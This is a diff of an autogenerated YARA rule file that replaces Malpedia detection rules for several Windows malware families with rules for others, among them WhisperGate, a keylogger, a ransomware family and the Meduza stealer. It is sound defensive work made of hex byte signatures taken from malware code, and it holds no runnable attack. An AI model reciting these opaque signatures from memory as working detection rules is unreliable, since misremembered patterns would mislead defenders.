+		id = "6714083d-3e17-55d3-a1f8-8bf9ddb1ef17"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.malumpos_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whispergate_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "1d9a68f5cdfadc8f79ba4d8f4695a01ec544e2c566edbd712a7ed582b4a68976"
+		logic_hash = "32397ef108fba7d133f035121fc33f6fa3fbeba74a5870442ebf4d00a19bf608"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155485,32 +162625,32 @@ rule MALPEDIA_Win_Malumpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85f6 7907 0d80000000 eb27 }
-		$sequence_1 = { 53 50 c78500fdffff07000100 895d4c 895dcc e8???????? }
-		$sequence_2 = { 59 8d45cc 50 ff15???????? 6a44 }
-		$sequence_3 = { 0f1f00 0f1f00 0f1f00 0f1f00 6a72 }
-		$sequence_4 = { 3bc8 0f86f1feffff ff770c 50 e8???????? }
-		$sequence_5 = { 7805 0500000000 57 3500000000 }
-		$sequence_6 = { 8a0432 3c3d 7506 8365fc00 eb0d }
-		$sequence_7 = { e8???????? 68???????? a3???????? ffd0 810d????????00200000 be???????? c745f468e50300 }
-		$sequence_8 = { 6683f300 55 51 7204 }
-		$sequence_9 = { 8d4520 50 ff15???????? 8d4520 }
+		$sequence_0 = { 89d0 80f92f 0f846b060000 80f95c 0f8462060000 8d50ff }
+		$sequence_1 = { 0f8409010000 83fb2f 0f8400010000 83fb5c }
+		$sequence_2 = { f6044840 0f8448ffffff 397dcc 7275 8b45d0 85c0 756e }
+		$sequence_3 = { 53 31c0 0fa2 85c0 0f84db000000 }
+		$sequence_4 = { 85ed 75d3 8b542420 8b742424 }
+		$sequence_5 = { 55 57 56 53 81ec2c010000 8b842440010000 85c0 }
+		$sequence_6 = { 75e8 890424 e8???????? 89c7 8b44241c }
+		$sequence_7 = { 56 53 83ec10 8b742420 813e???????? 740e }
+		$sequence_8 = { e9???????? 837dd427 0f84e4000000 83c001 }
+		$sequence_9 = { 83c001 85c9 751e 83fa2a 7444 83fa3f 743f }
 
 	condition:
-		7 of them and filesize <542720
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Parallax_Auto : FILE
+rule MALPEDIA_Win_Grateful_Pos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3331f8f9-ca97-5323-a8b7-4a2a5bd3b734"
+		id = "142dbaaf-bae9-512b-8e1e-de26b0ad1d45"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.parallax_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grateful_pos_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "2375ab4fbfb357ff0388c05531234fe1711b2c1ab93377989bbf9dcbb0552a8e"
+		logic_hash = "bd00e16b742e3f98f3581779e2ac022b9c7b51a75c5cf9f592cacfe60dca60a5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155524,32 +162664,38 @@ rule MALPEDIA_Win_Parallax_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8dbf8c000000 b934000000 f3a4 5e 56 ff7508 }
-		$sequence_1 = { ff7508 ff9698010000 5e 5d c21400 55 8bec }
-		$sequence_2 = { 8b5234 83c234 8915???????? 83be1801000000 7545 83be1801000000 7401 }
-		$sequence_3 = { ff763c 683c800000 ff35???????? ff92e0010000 6a00 }
-		$sequence_4 = { 7411 8b75ec 8b7de0 8b4de8 f3a4 }
-		$sequence_5 = { 85c0 7418 8bf8 8b35???????? b8ffffffff f0874704 50 }
-		$sequence_6 = { 6a00 ff9628010000 6a04 68???????? }
-		$sequence_7 = { e9???????? 3d34800000 750d ff7514 ff7510 e8???????? eb6d }
-		$sequence_8 = { 8b5634 83c234 52 52 }
-		$sequence_9 = { 83e934 8b4734 83c034 8b15???????? 50 51 ff92dc000000 }
+		$sequence_0 = { eb07 b8fcffffff eb02 33c0 }
+		$sequence_1 = { 7407 b8f6ffffff eb02 33c0 }
+		$sequence_2 = { e8???????? 99 b980ee3600 f7f9 }
+		$sequence_3 = { 7411 e8???????? e8???????? 33c0 e9???????? }
+		$sequence_4 = { e8???????? 83f801 7510 e8???????? e8???????? }
+		$sequence_5 = { eb1a b8fdffffff eb13 b8fcffffff }
+		$sequence_6 = { 8bb5f4fffdff 03b5f8fffdff c1ee03 8b4508 8b7810 }
+		$sequence_7 = { 6810040000 ff15???????? 8985f4fbffff 83bdf4fbffff00 0f8488010000 8a0d???????? }
+		$sequence_8 = { 83fa7b 750a 6a01 e8???????? }
+		$sequence_9 = { 8b4dfc 894110 8b550c 8b420c c1e803 50 }
+		$sequence_10 = { c745fcffffffff 8d45f4 64a300000000 c3 6a03 e8???????? 59 }
+		$sequence_11 = { 7c62 8b8df8fffdff 0fb6940dfefffdff 83fa3a 7d4f 8b85f8fffdff }
+		$sequence_12 = { 6bc02a 05???????? 50 e8???????? 83c40c 85c0 7509 }
+		$sequence_13 = { 85c0 0f84b2000000 6a03 68???????? 8b8de0fbffff 83e90e }
+		$sequence_14 = { 8884248e010000 b801000000 486bc03f 488d0d79e50100 0fbe0401 83f04d 8884248f010000 }
+		$sequence_15 = { 488bcd 418bd7 e8???????? 33c9 85c0 0f85bb010000 4c8d35ee481900 }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <3964928
 }
-rule MALPEDIA_Win_Kegotip_Auto : FILE
+rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "00ad7f0a-dc8e-510c-a1d3-35279f77a6e7"
+		id = "85657a12-5353-59c6-96c2-3cad36ac8818"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kegotip_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arik_keylogger_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "32b69314873829a2218a5374ade1e7ef8ad560cb68aa690aa8ede1fd50d9aa93"
+		logic_hash = "f00c46b1c19068a9b1d9eb23a1cbe0ffd294a87bebb3732b435039b4cebfac37"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155563,32 +162709,32 @@ rule MALPEDIA_Win_Kegotip_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb6d e9???????? eb63 c745f400000000 }
-		$sequence_1 = { e8???????? 83c40c c705????????94000000 68???????? }
-		$sequence_2 = { 83c201 8955ec 8b45f8 83c004 8945f8 }
-		$sequence_3 = { 89420c 8b4dfc c7412400000000 8b55fc a1???????? 894210 6a10 }
-		$sequence_4 = { 8b55f8 83c201 8955f8 ebe0 8b45f8 0fbe08 }
-		$sequence_5 = { 6800100000 6800000800 6a00 ff15???????? 8945fc 837dfc00 7504 }
-		$sequence_6 = { 0f8592000000 8b4508 0345e8 0fb648ff 51 }
-		$sequence_7 = { 52 8b4508 50 8d4df4 51 6a00 68???????? }
-		$sequence_8 = { 8b85fcfdffff 0fbe8c0500feffff 83f97a 7f1e 8b95fcfdffff 0fbe841500feffff 83e820 }
-		$sequence_9 = { 8d85b0feffff 50 6a00 8d8dd8feffff 51 ff15???????? }
+		$sequence_0 = { 8b45fc f7402801000000 755a 8b45fc 8b55fc 8b12 ff927c040000 }
+		$sequence_1 = { dd5df8 e8???????? ba???????? 8d45c0 e8???????? 58 85c0 }
+		$sequence_2 = { 8b804c010000 e8???????? e8???????? 84c0 7424 8b45f8 8b804c010000 }
+		$sequence_3 = { b003 e9???????? b004 e9???????? b005 e9???????? b006 }
+		$sequence_4 = { e8???????? 8b45ec 8908 8b45f0 8b08 034df4 7105 }
+		$sequence_5 = { e8???????? 50 85c0 0f8528010000 8b45b8 e8???????? c745b400000000 }
+		$sequence_6 = { eb16 8b45fc 8b4004 0d00001000 0d00002000 8b55fc 894204 }
+		$sequence_7 = { f3a5 8b45f4 83b8d002000000 7432 8b45f8 50 8b4518 }
+		$sequence_8 = { 8b45f4 e8???????? 8b45f4 83c024 8a4d08 8d55ec e8???????? }
+		$sequence_9 = { 8d45d4 e8???????? c745d400000000 8d45d0 e8???????? c745d000000000 8b4614 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <4947968
 }
-rule MALPEDIA_Win_Manitsme_Auto : FILE
+rule MALPEDIA_Win_Amtsol_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e6602fda-fe01-560f-b18c-c680ffd15493"
+		id = "c4e6651d-976c-58ca-adc5-c02364c8423a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.manitsme_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.amtsol_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "d15a6ee2f4daf2c5f96b25b50dc747d6c2f7c5b49f115484153e22e9303b3c0c"
+		logic_hash = "27d50e01d30776676c026a6886e9d6b54d3f1024ee993525160ca52cbcf77c05"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155602,32 +162748,32 @@ rule MALPEDIA_Win_Manitsme_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4c2438 33cc e8???????? 83c440 c3 6a0b 68???????? }
-		$sequence_1 = { 894c243c 894c2440 2bd0 8a08 880c02 83c001 84c9 }
-		$sequence_2 = { 6a00 6804040000 68???????? 57 }
-		$sequence_3 = { 83c408 eb09 57 e8???????? 83c404 8b15???????? 52 }
-		$sequence_4 = { 8b35???????? 57 8b3d???????? 8da42400000000 8d442428 50 }
-		$sequence_5 = { 8d442418 50 68fc030000 8d4c2424 }
-		$sequence_6 = { 897c2420 ff15???????? 8b0d???????? 51 ff15???????? 6a02 }
-		$sequence_7 = { 53 ff15???????? 68???????? 8d442418 50 c744241c401b0110 e8???????? }
-		$sequence_8 = { 897c2420 c744241c01000000 ff15???????? 83f8ff 7434 8d4c2408 }
-		$sequence_9 = { 8975e4 33c0 39b858340110 7467 ff45e4 }
+		$sequence_0 = { 33c8 234df0 8945fc 8b45f8 33cb 034e34 6a05 }
+		$sequence_1 = { 53 ff7580 ff7594 ff36 }
+		$sequence_2 = { 885d6f ff75d4 8d4510 50 8d4568 50 }
+		$sequence_3 = { 53 8b5d0c 8bce 2bde 3b7d10 7d23 }
+		$sequence_4 = { c645d543 c645d668 c645d765 c645d863 c645d96b c645da3a 885ddb }
+		$sequence_5 = { 8bec 8b4508 33c9 3bc1 7504 33c0 5d }
+		$sequence_6 = { ff15???????? 83f8ff 752b 8d45e8 50 c645e823 c645e92d }
+		$sequence_7 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????b2194100 8935???????? }
+		$sequence_8 = { 0f84bf000000 56 53 50 e8???????? 56 }
+		$sequence_9 = { e8???????? 8d443001 59 895df4 3818 0f8430010000 50 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Industroyer2_Auto : FILE
+rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "01c28e59-8cb1-5bf1-9de6-64ce0dd77d4a"
+		id = "123f6d77-eca2-5400-ac56-e3f30e76b796"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industroyer2_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bid_ransomware_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "bbf01a0f560944dbb85cdfc8fdeff74a884348b77c6b1a1a74790ea421be78c4"
+		logic_hash = "040b1903110ce367e4f39e634882ebba58d8e30bf0983ec0eaeaeca56a956f74"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155641,32 +162787,32 @@ rule MALPEDIA_Win_Industroyer2_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 732c 837df800 7426 8b45fc 8b4df4 8b1481 89559c }
-		$sequence_1 = { 89480c 8b55fc 8b451c 894210 694d18a0860100 034d1c }
-		$sequence_2 = { eb07 c745d000000000 8b4508 8a4dd0 888845000100 }
-		$sequence_3 = { 8b4d08 e8???????? 8945fc 68???????? 8b4508 50 }
-		$sequence_4 = { 885103 8b45fc 8b4804 8b551c 8b8238000100 894104 8b4dfc }
-		$sequence_5 = { c1e200 8b45fc 8b4d08 8a1411 885005 b801000000 d1e0 }
-		$sequence_6 = { 8b4df0 51 ff15???????? 85c0 7406 c645ff01 eb04 }
-		$sequence_7 = { c6400c00 8b4dfc c641140a 6a04 8b55fc 83c210 52 }
-		$sequence_8 = { 837df800 742c 8b55fc 8b45f4 8b0c90 898d78ffffff 8b9578ffffff }
-		$sequence_9 = { 8b45fc 50 e8???????? 0fb6c8 85c9 7444 68???????? }
+		$sequence_0 = { c705????????20202020 68???????? 50 e8???????? }
+		$sequence_1 = { 6a00 e8???????? ff75fc e8???????? c9 c3 }
+		$sequence_2 = { ff75b0 e8???????? ff75b0 e8???????? 6800800000 ff75a8 }
+		$sequence_3 = { 55 8bec 83c4f4 6800800000 6a40 }
+		$sequence_4 = { 881f 83c701 83f800 77e3 eb0e }
+		$sequence_5 = { 8b4d08 80c141 c745c05c5c3f5c 884dc4 c745c53a5c2a2e }
+		$sequence_6 = { 53 6a00 6a00 6a00 ff75e4 e8???????? }
+		$sequence_7 = { 8945f0 eb15 ff75f4 e8???????? }
+		$sequence_8 = { 68ea030000 ff35???????? e8???????? 8945fc }
+		$sequence_9 = { e8???????? 8b85acfdffff 83e001 7414 8b7508 }
 
 	condition:
-		7 of them and filesize <100352
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Fanny_Auto : FILE
+rule MALPEDIA_Win_Madmax_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cd0c75da-8b4c-5363-98ec-15a67064033c"
+		id = "230eedbf-6cae-5fdd-90b6-aea0b58f95e1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fanny_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.madmax_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "415f51a7b92a8dd2e587e9f69b01a611a89ad0fc5dace80d2d81091a3ef0d182"
+		logic_hash = "8fadf42f6b346841d23791b849b5705de38f9f89679dc44544ef7b477d437506"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155680,38 +162826,32 @@ rule MALPEDIA_Win_Fanny_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45c0 85c0 7422 8935???????? 6a00 }
-		$sequence_1 = { 8955d0 0fb645cf 3de9000000 7423 0fb64dcf }
-		$sequence_2 = { 8b4dfc 8b11 52 ff15???????? 85c0 7502 }
-		$sequence_3 = { 53 ff15???????? 8bf0 83c420 85f6 0f846a010000 }
-		$sequence_4 = { 8b450c 8945d4 c745c400000000 8b4dc4 3b4dd0 7d26 6a00 }
-		$sequence_5 = { 53 ff15???????? 8bf0 85f6 7420 6a03 }
-		$sequence_6 = { eb05 1bc0 83d8ff 85c0 7517 8b842418010000 }
-		$sequence_7 = { eb57 8b450c 8a4dd0 88481f 8b55d0 52 8b4510 }
-		$sequence_8 = { 8b4dfc c7410c00000000 ff15???????? 8b55fc }
-		$sequence_9 = { 53 ff15???????? be00000200 56 }
-		$sequence_10 = { 5b c9 c3 80a5dcfeffff00 }
-		$sequence_11 = { 50 e8???????? 83c424 eb03 8b7508 }
-		$sequence_12 = { 53 ff15???????? 8d85e8fdffff 50 ff15???????? }
-		$sequence_13 = { 6800400000 6a00 ff15???????? 897c2410 56 }
-		$sequence_14 = { 53 ff15???????? 8bf0 59 85f6 0f84e9000000 8a4508 }
-		$sequence_15 = { 33c0 83e103 f3a4 8b13 8b4d00 85d2 760e }
+		$sequence_0 = { d0cd 99 86d6 4c ae 2f 4e }
+		$sequence_1 = { b80c32e173 8ac5 08679e fb 59 8050cb80 baef812a0a }
+		$sequence_2 = { e07d d8cc 6a55 60 25a237f301 4a 4c }
+		$sequence_3 = { 8d8dd0feffff e8???????? 8db396000000 6a3b 9c f605????????d6 0f851c010000 }
+		$sequence_4 = { 93 9f 856d67 664c 8657b6 49 152b9be0c2 }
+		$sequence_5 = { d9dd 095527 17 44 4b 60 1f }
+		$sequence_6 = { f723 56 c8d95bcc 0e 64a04d98f5db 6e 051e079cc8 }
+		$sequence_7 = { ad 7ea5 6abd 650e 9c 3528e563a7 6c }
+		$sequence_8 = { f605????????e2 0f851d010000 73e7 f22486 85e6 210a e788 }
+		$sequence_9 = { f605????????a5 7531 df2e 8b1b f8 b36a 7928 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <3227648
 }
-rule MALPEDIA_Win_Loup_Auto : FILE
+rule MALPEDIA_Win_Greetingghoul_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9d1b576-d285-5231-afcb-2e4f16800d77"
+		id = "b976275f-692f-5ebe-b54a-1ebae523b638"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.loup_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.greetingghoul_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "ff0573e37f479d8813fb50aaed8f812906a0bad4de56fabb213fa961c6890498"
+		logic_hash = "0a3e95007607705383664f43202a90a64da5b8da6ba3c7b7040fd8c369e8d944"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155725,32 +162865,32 @@ rule MALPEDIA_Win_Loup_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 85c0 741c 0fb745f4 50 e8???????? }
-		$sequence_1 = { 81781422059319 740c 8b4dfc 81791400409901 7522 e8???????? 8b55fc }
-		$sequence_2 = { 8b0d???????? 898dc8fbffff 8b15???????? 8995ccfbffff a1???????? 8985d0fbffff }
-		$sequence_3 = { 8b85d0f1ffff 53 56 ff3485647b4100 50 }
-		$sequence_4 = { 8b7508 57 85d2 744f 33ff 393a }
-		$sequence_5 = { 81f247656e75 b804000000 6bc803 8b440de0 35696e6549 }
-		$sequence_6 = { 8b4df4 84c0 0f84defeffff c745dc01000000 e9???????? 5f 5e }
-		$sequence_7 = { 668945e8 33c0 668945ea c745ee01000000 b804000000 668945ec }
-		$sequence_8 = { b804000000 c1e002 c784055cffffff01000000 8d855cffffff 8945d5 }
-		$sequence_9 = { 85c0 7443 0fb745f4 50 }
+		$sequence_0 = { 56 57 8bf9 33f6 8a17 80fa20 }
+		$sequence_1 = { 750d 8a5702 83c702 bb10000000 }
+		$sequence_2 = { 03f1 eb03 83ceff 8a17 84d2 75a9 }
+		$sequence_3 = { 2bc8 7409 8b7df8 4e 43 }
+		$sequence_4 = { 751f 41 84c0 7405 83ea01 75eb 8b5dfc }
+		$sequence_5 = { 43 895dfc 47 eba7 5f 5e 83c8ff }
+		$sequence_6 = { 8a1a 8d5201 8a08 3acb 750c 40 84c9 }
+		$sequence_7 = { 33db 895dfc 8945f4 3806 740b }
+		$sequence_8 = { 83c404 891e 85db 746f 8b7508 0f57c0 57 }
+		$sequence_9 = { 7457 8d42d0 3c09 7708 }
 
 	condition:
-		7 of them and filesize <257024
+		7 of them and filesize <696320
 }
-rule MALPEDIA_Win_Hotcroissant_Auto : FILE
+rule MALPEDIA_Win_Darkmegi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "250e256f-bf01-5062-b0b5-f902754e1ec1"
+		id = "b4298044-373c-5ebc-af72-71a8178891f9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hotcroissant_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkmegi_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "2f7df521e2093bda16bb20427bf0af1885ac8e8db0533585bb878e9befdcfdd1"
+		logic_hash = "594b35440f1c502a0c2d0a5e3fa86f0d3dc6b2f476ed2e839ff20aa39301e384"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155764,34 +162904,34 @@ rule MALPEDIA_Win_Hotcroissant_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c705????????01000000 ffd6 6800040000 68???????? }
-		$sequence_1 = { 68???????? 68???????? 68???????? c705????????0c000000 c705????????00000000 c705????????01000000 }
-		$sequence_2 = { 25ff7f0000 33c9 7707 3d00400000 7608 6a0a ff15???????? }
-		$sequence_3 = { 83e780 c1e307 33fb c1e711 c1e808 46 0bc7 }
-		$sequence_4 = { 85c0 7506 6a0a ffd6 }
-		$sequence_5 = { 6a00 68703a0000 6a00 50 ffd7 85c0 }
-		$sequence_6 = { e8???????? 6a00 c705????????00000000 ff15???????? 6a00 }
-		$sequence_7 = { 8d958cc5ffff 52 50 ff15???????? 85c0 }
-		$sequence_8 = { ff15???????? 85c0 7506 6a0a }
-		$sequence_9 = { 56 6a01 50 ff15???????? a1???????? }
+		$sequence_0 = { 81c43c010000 c3 8b442448 6a00 6a00 50 }
+		$sequence_1 = { c3 8b44244c 56 3d50450000 7411 }
+		$sequence_2 = { 3db7000000 7517 56 ff15???????? 56 }
+		$sequence_3 = { ff15???????? 83c40c 8d4c2464 8d942478050000 8d442444 }
+		$sequence_4 = { 8b548c2c 668b02 50 ffd5 }
+		$sequence_5 = { 0fb6d2 f6820196b40204 7403 40 }
+		$sequence_6 = { 49 6a01 8dbc0ca9030000 ffd6 6a01 }
+		$sequence_7 = { 81e1ffff0000 3bc1 0f8c9bfeffff 33db 8b94249e030000 }
+		$sequence_8 = { 52 e8???????? 83c404 8bd8 85f6 7426 }
+		$sequence_9 = { 33c0 5e 83c468 c21000 e8???????? }
 
 	condition:
-		7 of them and filesize <591872
+		7 of them and filesize <90304
 }
-rule MALPEDIA_Win_Agent_Btz_Auto : FILE
+rule MALPEDIA_Win_Meduza_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bbd1b361-56e8-5c44-8191-97b61949c3a6"
+		id = "e4f4d329-00f5-5eac-b6fa-1a17dabc236f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agent_btz_auto.yar#L1-L506"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meduza_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "2cf1b97d42e6d02bf37e0a76317aec03ba7908a0448935a35dc2a10793f4265a"
+		logic_hash = "5c31e3491e238f84a3f72990d6fa7fa5c8ed914b3efa6ee6f598848d375c51b9"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -155803,82 +162943,32 @@ rule MALPEDIA_Win_Agent_Btz_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c74608ffffffff f644240801 7409 56 e8???????? 83c404 8bc6 }
-		$sequence_1 = { ffd6 8d54240c 52 ffd7 }
-		$sequence_2 = { ffd3 85c0 75d8 5f 5e 5b }
-		$sequence_3 = { ff15???????? b800000f00 8b4df4 64890d00000000 }
-		$sequence_4 = { c706???????? c7460c00000000 895e08 895e04 }
-		$sequence_5 = { b805000f00 8b4df4 64890d00000000 5f 5e }
-		$sequence_6 = { 895e08 895e04 c7461000000000 895e14 }
-		$sequence_7 = { 56 6a00 68???????? 8935???????? }
-		$sequence_8 = { 8b4608 c706???????? 85c0 7413 }
-		$sequence_9 = { 83f8ff 740e 50 ff15???????? c74608ffffffff f644240801 }
-		$sequence_10 = { 8d542408 52 c744240c30000000 c744241003000000 }
-		$sequence_11 = { 6801010000 ff15???????? 85c0 7415 }
-		$sequence_12 = { 51 6a00 6819000200 6a00 68???????? }
-		$sequence_13 = { 6a0a 68???????? 6a01 6a00 }
-		$sequence_14 = { 50 68???????? 6a01 68???????? e8???????? 83c410 }
-		$sequence_15 = { 6a01 6a04 6a01 68???????? }
-		$sequence_16 = { 68???????? 6a01 e8???????? 50 e8???????? 83c41c }
-		$sequence_17 = { 89461c 3dea000000 740b 3de5030000 }
-		$sequence_18 = { 7511 e8???????? 83c020 50 e8???????? }
-		$sequence_19 = { 6a01 68???????? e8???????? 83c414 5f 5e }
-		$sequence_20 = { 50 e8???????? 83c408 6800010000 e8???????? }
-		$sequence_21 = { 0fb605???????? 66890d???????? 0fb60d???????? 660fafca 6603c8 }
-		$sequence_22 = { 59 6a69 66894de8 59 }
-		$sequence_23 = { 5e 8bc3 5b c9 c3 83c8ff eb11 }
-		$sequence_24 = { c684248d00000065 c684248e00000050 c684248f00000072 c68424900000006f c684249100000063 c684249200000065 }
-		$sequence_25 = { c68424900000006f c684249100000063 c684249200000065 c684249300000073 c684249400000073 c684249500000057 c684249600000000 }
-		$sequence_26 = { c684248800000043 c684248900000072 c684248a00000065 c684248b00000061 c684248c00000074 c684248d00000065 c684248e00000050 }
-		$sequence_27 = { 57 53 897dfc 897e1c }
-		$sequence_28 = { 59 6a65 668945f0 66894dec 59 6a25 58 }
-		$sequence_29 = { 59 6a70 66894dea 59 }
-		$sequence_30 = { c684241601000074 c684241701000045 c684241801000072 c684241901000072 c684241a0100006f c684241b01000072 }
-		$sequence_31 = { ebd2 c78424a000000068000000 c78424dc00000001000000 33c0 66898424e0000000 }
-		$sequence_32 = { c684249600000000 c684241001000047 c684241101000065 c684241201000074 c68424130100004c c684241401000061 }
-		$sequence_33 = { 59 6a70 66894de4 8bc8 }
-		$sequence_34 = { 51 6a05 ff75fc 897df0 }
-		$sequence_35 = { c684241201000074 c68424130100004c c684241401000061 c684241501000073 c684241601000074 c684241701000045 c684241801000072 }
-		$sequence_36 = { 6a00 6a27 6a02 6a00 6a01 }
-		$sequence_37 = { 8d8505feffff 50 e8???????? 83c40c }
-		$sequence_38 = { c645d316 c645d43a c645d53b c645d63b }
-		$sequence_39 = { c645cb30 c645cc27 c645cd3b c645ce30 }
-		$sequence_40 = { 488b4338 33d2 488bce 448d4220 }
-		$sequence_41 = { 488b4608 488b0e 48894628 488b4638 4c8d4c2450 448bc3 488bd7 }
